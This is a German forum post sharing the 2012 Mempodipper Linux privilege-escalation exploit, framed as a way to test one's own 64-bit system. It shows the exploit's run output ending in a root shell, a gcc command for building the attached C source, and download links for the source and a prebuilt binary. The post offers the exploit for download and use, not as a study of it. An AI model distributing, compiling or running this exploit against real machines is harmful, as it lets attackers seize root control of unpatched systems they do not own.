Root-Rechte-durch-Speicherzugriff

    • Root-Rechte-durch-Speicherzugriff

      für alle die Ihr 64bit Linuxsytem mal testen wollen Root-Rechte durch Speicherzugriff


      Quellcode

      1. ./mempodipper_static
      2. ===============================
      3. = Mempodipper =
      4. = by zx2c4 =
      5. = Jan 21, 2012 =
      6. ===============================
      8. [+] Opening socketpair.
      9. [+] Waiting for transferred fd in parent.
      10. [+] Executing child from child fork.
      11. [+] Opening parent mem /proc/12439/mem in child.
      12. [+] Sending fd 5 to parent.
      13. [+] Received fd at 5.
      14. [+] Assigning fd 5 to stderr.
      15. [+] Ptracing su to find next instruction without reading binary.
      16. [+] Resolved exit@plt to 0x401ce8.
      17. [+] Calculating su padding.
      18. [+] Seeking to offset 0x401cdc.
      19. [+] Executing su with shellcode.
      20. sh-4.2# id
      21. uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),29(audio),44(video),46(plugdev),115(lpadmin),117(admin),122(sambashare)
      22. sh-4.2#
      Alles anzeigen



      das binary ist für 64bit für 32bit das c-file wie folgt übersetzen:

      Quellcode

      1. gcc -Wall -g -static mempodipper.c -o mempodipper_static
      Dateien

      • mempodipper_stati.

        (838,42 kB, 324 mal heruntergeladen, zuletzt: )

      • mempodipper.c

        (6,63 kB, 301 mal heruntergeladen, zuletzt: )
      » time to say goodbye «

      Konfuzius sagt:
      Erst wenn eine Mücke auf deinen Hoden landet wirst du lernen Probleme ohne Gewalt zu lösen.